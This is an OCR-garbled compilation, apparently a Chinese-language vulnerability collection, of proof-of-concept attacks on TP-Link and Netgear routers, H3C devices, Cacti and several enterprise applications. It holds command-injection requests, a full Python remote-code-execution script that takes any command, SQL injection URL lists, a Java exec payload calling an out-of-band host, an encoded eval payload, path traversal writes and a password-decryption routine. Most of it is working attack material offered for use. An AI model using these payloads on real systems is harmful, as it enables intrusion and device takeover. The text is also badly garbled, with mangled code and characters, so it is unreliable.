The PoC of TL-WR940NV4 is as follows:


af://n642
af://n644
af://n646
af://n648
af://n650
af://n652

O 00 9 O 0 N VN P

=
=@

GET /JFYRUKOAPAQZRKOC/userRpm/WlanNetworkRpm.htm?ssid1=TP-LINK_000012]| |reboot;&s
Host: 127.0.0.1:8081

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:109.0) Gecko/20100101 F
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Connection: keep-alive

Referer: http://127.0.0.1:8081/JFYRUKOAPAQZRKOC/userRpm/WlanNetworkRpm.htm
Cookie: Authorization=Basic%20YWRtaW46MjEyMzImMjk3YTU3YTVhNzQzODKOYTBLNGE4MDFmYz
Upgrade-Insecure-Requests: 1

The PoC of TL-WR940NV?2 is as follows:

O 00 N9 O 01 N VN P

=
(=)

GET /UJOGPJXBZUFEBUDB/userRpm/WlanNetworkRpm.htm?ssidl=;reboot;&ssid2=TP-LINK_GO
Host: 192.168.0.1

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0) Gecko/20100101 Fir
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Referer: http://192.168.0.1/KMODQNKANSQJIBYFA/userRpm/WlanNetworkRpm.htm

Cookie: Authorization=Basic%20YWRtaW46MjEyMzImMjk3YTU3YTVhNzQzODKOYTBLINGE4MDFmYz
Upgrade-Insecure-Requests: 1

The PoC of TL-WR841N V8 is as follows:

O 00O N9 O O N VN P

N
B @

GET /userRpm/WlanNetworkRpm.htm?ssidl=a;reboot&ssid2=TP-LINK_000000_2&ssid3=TP-L
Host: 0.0.0.0:49168

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Basic YWRtaW46YWRtaW4=

Connection: close

Referer: http://0.0.0.0:49168/userRpm/WlanNetworkRpm.htm

Cookie: Authorization=

Upgrade-Insecure-Requests: 1

The PoC of TL-WR841N V10 is as follows:



O 00 9 O O N VN P
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GET /GWIDNCGBKQNKXJXB/userRpm/WlanNetworkRpm.htm?ssidl=a;reboot;&ssid2=TP-LINK_0O
Host: 127.0.0.1:8081

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:109.0) Gecko/20100101 F
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: keep-alive

Referer: http://127.0.0.1:8081/GWIDNCGBKQNKXJIXB/userRpm/WlanNetworkRpm.htm
Cookie: Authorization=Basic%20YWRtaW46MjEyMzImMjk3YTU3YTVhNzQzODKOYTBLNGE4MDFmYz
Upgrade-Insecure-Requests: 1

Netgear D/RZFIIHA G LTHITHET (CVE-2023-33533/CVE-2023-33532)

00
1 # Exploit Title: Router Netgear-R6250 - RCE
2 # Date: 12-5-2023
3 # Exploit Author: d2yép
4 # Firmware: R6250V1.0.4.48
5 # CVE: N/A
6
7 #!/usr/bin/python3
8
9 import requests

10 import baseb4

11 import re

12

13 target = input("Enter Target IP : ")

14 username = input("Enter Target username : ")

15 Ppasswd = input("Enter Target passwd : ")

16 ¢cmd = input("Enter you want cmd : ")

17

18 username_passwd = username + ":" + passwd

19 auth = baseé64.bé4encode(username_passwd.encode('utf-8')).decode("utf-8")

20 print(auth)

21

29 #request 1 : get XSRF_TOKEN

93 burpO_url = "http://" + target + ":80/IPVé6_fixed.htm"

24 burp@_cookies = {"XSRF_TOKEN": "2267229739"}

25 burpO_headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0)
Gecko/20100101 Firefox/112.0", "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate",
"Authorization": "Basic 123123", "Connection": "close", "Referer": "http://" + target +
"/IPV6_disable.htm", "Upgrade-Insecure-Requests": "1"}

26 responsel = requests.get(burpO@_url, headers=burp@_headers, cookies=burp0_cookies)

27

28 if 'Set-Cookie' in responsel.headers:

set_cookie = responsel.headers['Set-Cookie']


af://n661

30
31
32
539
34
s
36
37
38
39
40

41
42
43
44
45
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47
48

49

50
51

52
53

print(f'The Set-Cookie value is: {set_cookie}')
else:
print('No Set-Cookie field in the response header')

pattern = r'(?<=\=)([*;]*)"
XSRF_TOKEN = re.findall(pattern, set_cookie)[0]
print (XSRF_TOKEN)

#request 2 : get csrf_id

burp@_cookies = {"XSRF_TOKEN": XSRF_TOKEN}

burpO_headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0)
Gecko/20100101 Firefox/112.0", "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate",
"Authorization": "Basic " + auth, "Connection": "close", "Referer": "http://" + target +
"/IPV6_disable.htm", "Upgrade-Insecure-Requests": "1"}

response2 = requests.get(burpO@_url, headers=burp@_headers, cookies=burp0_cookies)
pattern = r'cgi\?id=([\w\d]+)"

csrf_id
print("csrf_id is :" + csrf_id)

re.search(pattern, response2.text).group(1)

#request 3 : send payload

burp@_url = "http://" + target + ":80/ipvé_fix.cgi?id=" + csrf_id

burp@_data = {"apply": "Apply", "login_type": "Fixed", "IPvéWanAddrl": "2001",
"IPvéWanAddr2": "3CA2", "IPvéWanAddr3": "Q10F", "IPvéWanAddr4": "OO0A1", "IPvéWanAddr5":
"121C", "IPvéWanAddré": "0000", "IPvéWanAddr7": "0000", "IPvéWanAddr8": "0010",
"ProfixWanLength": "6", "IPvéGatewayl": "2001", "IPvéGateway2": "3CA2", "IPvéGateway3":
"010F", "IPvé6Gateway4": "OOA1", "IPvéGatewayb": "121C", "IPvéGatewayé": "000O",

"IPv6Gateway7": "0000", "IPvéGateway8": "0002", "DAddrl": '', "DAddr2": '', "DAddr3":
"', "DAddr4": '', "DAddr5": '', "DAddré": '', "DAddr7": '', "DAddr8": '', "PDAddri": '',
"PDAddr2": '', "PDAddr3": '', "PDAddr4": '', "PDAddr5": '', "PDAddré": '', "PDAddr7":
'', "PDAddr8": '', "IpAssign": "auto", "IPvéLanAddrl": "3113", "IPvéLanAddr2": "3CA2",

"IPv6LanAddr3": "Q10F", "IPvéLanAddr4": "Q01A", "IPvéLanAddr5": "121B", "IPvéLanAddré":
"0000", "IPvéLanAddr7": "0000", "IPvéLanAddr8": "0001", "ProfixLanLength": "6",
"ipvé_wan_ipaddr": "$(" + cmd + ")", "ipvé_lan_ipaddr":
"3113:3CA2:010F:001A:121B:0000:0000:0001", "ipvé6_wan_length": "é", "ipvé_lan_length":
"6", "ipvé_pri_dns": ":::::::", "ipvé_sec_dns": ":::::::", "ipvé_wan_gateway": "aaa",
"ipvé_enable_dhcp": '', "ipvé_proto": "fixed"}

burp@_headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0)
Gecko/20100101 Firefox/112.0", "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type":
"text/plain", "Origin": "http://" + target, "Authorization": "Basic " + auth,
"Connection": "close", "Referer": "http://" + target + "/VLAN_IPTV.htm", "Upgrade-
Insecure-Requests": "1"}

response3 = requests.post(burpO_url, headers=burp0_headers, cookies=burp@_cookies,
data=burp0_data)

print('end!!!")
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1 https://mp.weixin.qq.com/s/vuDgJZnwktM4EEAwWFH6UEA

3219 sqliE

00
1 (1)/E-mobile/flowdo_page.php?diff=delete&RUN_ID=1 //S%{RUN_ID
) (2) /E-mobile/flowdo_page.php?diff=delete&flowid=1 //&#flowid
3 (3)/E-mobile/flowsorce_page.php?flowid=2
4 (4)/E-mobile/flownext_page.php?diff=candeal&detailid=2
5 (5)/E-mobile/flowimage_page.php?FLOW_ID=2
6 (6)/E-mobile/flowform_page.php?FLOW_ID=2
7 (7)/E-mobile/diaryother_page.php?searchword=23
8 (8)/E-mobile/create/ajax_do.php?diff=word&sortid=1 //&#sortid
9 (9)/E-mobile/create/ajax_do.php?diff=word&idstr=2 //&#idstr
10 (10) /E-mobile/flow/freeflowimg.php?RUN_ID=1
11 (11) /E-mobile/create/ajax_do.php?diff=addr&sortid=1 //£&#{sortid
12 (12) /E-mobile/create/ajax_do.php?diff=addr&userdept=1 //&%userdept
13 (13)/E-mobile/create/ajax_do.php?diff=addr&userpriv=1 //&%userpriv
14 (14)/E-mobile/create/ajax_do.php?diff=wordsearch&idstr=1 //&#idstr
15 (15) /E-mobile/flow/flowhave_page.php?detailid=2,3
16 (16) /E-mobile/flow/flowtype_free.php?flowid=1
17 (17)/E-mobile/flow/flowtype_free.php?runid=1
18 (18) /E-mobile/flow/flowtype_other.php?flowid=1
19 (19)/E-mobile/flow/flowtype_other.php?runid=1
20 (20) /E-mobile/flow/freeflowimage_page.php?fromid=2
21 (21) /E-mobile/flow/freeflowimage_page.php?diff=new&runid=2 //£&%runid

Cacti KENZEZGLHITRTE (0day )

FUhRAS: version <= 1.2.24(&#hR), MAFRHNERER . BERIKF A& Reports
Creation 3R

GBS EREFENE . BERAMLS ACL FREIIARIKIR, MEBEN. BEINFENLSHNRR TEREZRFN

19


af://n667
af://n670
af://n673

pocE Tco

F& U9 Cloud izi2 X 1TRE
FURRAS: version <= 202206 (

BHAThR)

pocE Tto

&k Apusic A PEIHFABEGSHITRRE
FUghiRAs: V9.0

pocE Tto

#7518 tongweb MRS 28 RIEPGEEZREBRITER
FUOARZAS:  version <= 7.0.4.8

GBS ERRIENE . BERAMLS ACL FREIIARIKIR, MEEN. EREHIBFEREERES
/console/css/+H &< JSP"HIER;

pocE Tto

Jxstar-Cloud M F A F S EEXH LZRE

s UghRZA: version <=V2.5.1, AR v3.2.0 ELIFIEIIE, TlaE= 70y
pocH .

TerraMaster RIENEIE S THITHEE

FUghRZAS: version <= 4.2.41, BRIARELFERIE, TaEZFIG

pocE Tto

iIBE MPSec MSG4000 Z2MX iZEGHTHITRET
E AR ZS: version <= 4.6.2.2

IR Z ARG ZRARMREELEE (


af://n679
af://n684
af://n687
af://n692
af://n695
af://n698

UE B REMRATED version BE) . WEEARE
REMRA, TEAEAMS ACL BEIHIERE, ML,
pocE o

tHE FE RWiEEERFniERBHITREE
®UIkR4s: version <= 6.6.0
IRETERRIEN: ZRARIMIRA v7.0 EZEE (
LHERRRATED [BRA-%F] &8 . o
TAARERSIRA, TERAEAMS ACL IREIFIERE, MBS,
pocE o

HRARMRESEZEE,

e @ httpsy//digpm

_ Request Response

1 Raw Hex B \n = Prett; Raw Hex Render
Domain . L Y
1 POST /common/comnmon_sort_tree. jsp;. js HITP/1. 1 1 HITP/1. 1 500 Internal Server Error
. Host: 127.0.0.1 Server: Apache-Coyote/l.1
Domains " , " SETOCATTRRE 1R 1T,
Accept-Encoding: gzip, deflate Set-Cookie: JSESSIONID=2F70CS77FBSIF172A
ipv6.1433.eu.0rg. { Accept: */* i Content-Type: text/hml;charset=UTF-8§
5 Accept-language: en-US;q=0.9,en;q=0.8 5 Content-Length: 1068
subdomain:bc v6.1433.eu.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d; x64) Date: Tue, 08 Aug 2023 11:05:39 GMT
LZQuvrzce AppleWebKit/537, 36 (KHTML, like Gecko) Chrome/104.0.5112. 102 Connection: close

Safari/337. 36

Get Sub Domain | Get Results - (Clie| 7 Connection: close

Cache-Control: max-age=0
RESU“ZS Content-Type: application/s-www-form-urlencoded
10 Content-Length: 106

Turn on to auto refresh results.

Target: http/

TAIDBOTOF41F16B; Path=/; Hetp(

12 rootName= 14 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN

{425Thread. @java. lang. Runt ime@getRuntime (), exec (" ping+-nc+2twws. "http://www. w3. org/TR/xhtml1/DTD/xhtml1-transitional. ded”
be9abB6d10. ipv6. 1433. ew. org’ \'.:5)\ html xmlns="http://www. %3, org/1999/xhtml”
# Record 16 <head

0 www.bc9ab66d10.pv6.1433.eu.0rg.

/title

DetECt 1 meta herffl wntent-Type” content="text/
1 link rel="5t7lesheet” type="text/css” hre
e { Yink zel=" sheat” Fret=" i e
sliredizanya s o | Link rel="stylesheet” href="/common/error/css/ e

&% EAS RS ERENFR

e R

EIREAS CloudBE T it BEHEA, AARKHATWRMHE—EWL. SRUHNILSHFRATR, FEASKIT

—RBRERFE, TUEREHEEERIAST. SI0MSHH, ZREHNBXERER, sE1IRE

HRERER, BNRREE,

HEES:


af://n704
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1 /appmonitor/protected/selector/server_file/files?folder=C:%5C%5C&suffix=

H3CZ R 5 H2E1F1E 8 SRCERF[
h3cE N RINBBHBEFEERERE

fofa: app="H3C-Ent-Router"

POC&ZMWT:
o000
1 POST /goform/aspForm HTTP/1.1
5 Host: {{Hostname}}
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_3) AppleWebKit/665.1.15
4 Connection: close
5 Content-Length: 68
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
g Referer: http://{{Hostname}}/userLogin.asp
9
19 CMD=DellL2tpLNSList&G0=vpn_12tp_session.asp&param=1; $(Ls>/www/test);
11 jhialhttp: //xxx/test

xxl-rpciEf2 i SHITRTE

# IO @ version<=1.7.0 (RH#hR) FIERE EHFHE (EQFpoc) RWAEE xxl-rpce— 12 HRSESR, 1=
HIRE S M EENRPCIZZRS AR RS, HEHEREBIHExx-rpclBERBARSS 570805 08, FIFZR
BEETHAENBERTRITERSR S, MMISBRSBRAREG, LEZN: BAEARRKTEERSE, &#
WisE B4 2% HIEE R FIxxI-rpcARSSiH O (RRIA 170801 )BIIFIEINIR, HEWEMEXHAT2MFFK

IR R V8 get_geo_json {2 X iR IER


af://n720
af://n726
af://n729

O 00 9 O O N VN P

N
N R ©

WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
REWSEREHTHRE, RENMAIT

RRERRAN

cipher = "XXXXXXXXXXX' #ZFX

PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23]
Password = ""

cipher = cipher[3:]

for i in range(int(len(cipher) / 4)):

cl = int("ex" + cipher[i * 4:(i + 1) * 4], 16)

c2 = c1 ~ PASSWORD_MASK_ARRAY[i % 8]

Password = Password + chr(c2)

print (Password)

WEBMAILEERFERRET

0 N0 01 N NN P

/RmWeb/noCookiesMail?func=user:getPassword&userMailName=admin

EIZETEXA

"errorMsg":"64d880ce7b737912cchl"

ERESEH errormsg EAZERS, MPEJ admin BIRIER

FERFNIIEHRERN TR T

B8R IP ZRANESIEL X-Forwarded-For: 127.0.0.1 BiAJ

MRBEIBEERIWANE, £H
/RmWeb/noCookiesMail?func=user:getPassword&userMailName=admin@+iE$H or fRIFZFKEL

BERE TR LT RT

O 00 N9 O Ol N NN P

T N Y
o Ul N WN P O

POST /write?neid=1&hash=../../../../../../../dragonball/srv/tomcat/webapps/strea
Host : xxxx

Cache-Control:max-age=0

Sec-Ch-Ua:"Chromium";v="117", "Not;A=Brand";v="8"

Sec-Ch-Ua-Mobile:?0

Sec-Ch-Ua-Platform:"Windows"

Upgrade-Insecure-Requests:1

User-Agent:Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML,
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/we
Sec-Fetch-Site:none

Sec-Fetch-Mode:navigate

Sec-Fetch-User:?1

Sec-Fetch-Dest:document

Accept-Language:zh-CN, zh;g=0.9

Connection:close

Content-Type:application/octet-stream


af://n731
af://n734

17 Accept-Encoding:gzip, deflate
18 Content-Length:8

19
20 abcd

BRRZERP LIFRAFZIZNABRITHERE

RARS T - MR MARS EFME (ERQFpoc) KEFE BRS ERP WITERAHKP,
WFWebService.asmx 17 1E WriteLog A A& B E@EIR, BEiZEH BinaryFormatter R F 5, Eita LA
Ysoserial.Net R4E B & F5I1€ payload, Bl Soap AAZRELERMBARFIIL, EMEBREBHRIT, NS
HARSSHRIEE,

B CEDRIWIRIZRHERE, nIiRiElsystemil R

RBRES T R KR FIARS £FHA (EQFpoc) RKEFE B8 x= EDR EENRIEFARE, T
3l system PR, 7 windows T B RERNZEENEE, 0@ AMEENFBpython #1E, ESEIHIRE
python hikZs, FREXBIFIE:

\1. MR T HIZE F "python.exe" I HTE, IREXNXHF &R,

\2. RAEEZEBoh#HE [FKEX python.exe BIEEE] -V KB, BEREFIHASE System R, EBoh#HiZn &
REBTHENLE SBREN FE. SRSENNERATEE, FIULRETULEETFE RN

00
| BRI Poc
5 local function save_python_info(ctx, info_table)
z local proc_names = {"python.exe"}
4 local procs_ret = ctx.get_proc_list_info_rely(ctx, proc_names)
5 if next(procs_ret) == nil then
6 return
7 end
g |- call get version
5 . BBEXERT
10 get_python_ver(proc)
o . BEBEXRD
12 end
13
14 function get_python_ver(proc)
15 if proc == nil then
14 return ™"
17 end
18 if file_api.file_exists(proc.path) then
79 local cmdline = "\\"" .. proc.path .. "\\" -Vv"
20 local ret, output = common.execute_shell(cmdline)
21 if ret == 0 and output and output ~= "" then
59 return regex.match(output, "\\\\d.+\\\\d")
23 | else

agent.error_log("get python version info error:" ..


af://n736
af://n738

25 tostring(ret))
96 return ""

27  end

og | end

29 end

BH%EiCrce
o060

1 <img src=x onerror='eval(new
Buffer( cmVxdWlyZSgnY2hpbGRfcHIvY2VzcycpLmV4ZWMoJ2NZG91dCwgc3RKZXIYKTO+ewphbGVydChgc3Rkbh3
VO01iAKke3NOZG91dH1gKTsgCnBpOw==", "baseés ).

Google Chrome V8 AR /ERE (CVE-2023-3079)

https://github.com/mistymntncop/CVE-2023-3079

5 £ 0A ExecuteSqlForSingle SQLF N\

ZEOAR—HWEFE2EANB NN ZREFESQUENFR, HEETLUREBBBEERRURNES
BURER.

HotGofzE30IA00 %

HotGo 8— & T vue f goframe2.0 AAN X B GHA BNALEMFEENBHNATE, ZFEFETRINE
13,

SolidUIfFTEEIAO<

SolidUl@— T AL oI MR AR ITFIRETF S, XF2D, 3DER, FEELLM(Large LanguageModel) 1R 45
5, ZTEFEERINEDE,

Richmail B3 {4 &% RIZFAGH DRI EIR R ET

Richmail EE XA T RANBFHBHERAREFZ—, BN —NEZRUEHHRS. RichmailFERRRIAEIR
NEEREBRFE


af://n743
af://n745
https://github.com/mistymntncop/CVE-2023-3079
af://n748
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Lexmarkiz #2153 #117:FK:E (CVE-2023-26067)

Lexmark@xEH—RFITEIN. LexmarkiREHN— MR ETHRIAGFEETHARIERE,. EEWTFTIRENK
& O] LU B I RE SR FA R APR, Certain Lexmark devices 2023-02-19iR S & Z B R A FEE L RAE, ZRER
FlLexmarki% & faiz A IR 4 N8I,

O3FIEH B A% EXH LZRTE POC

https://www.yuque.com/moyuansrc/npgiwy/mb1gbgaizk13fz8e#JdgkW

BRGRP-USTEEXMLEAN

Emerson XWEB 300D EVO 3.0.7--3ee403 {7t B RiE AR

H3C Magic B1STV100R012 RCEi%:[

RaspAP 2.8.7 - Unauthenticatedif:fl
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https://www.yuque.com/moyuansrc/npgiwy/mb1gbgaizk13fz8e#JdqkW
af://n765
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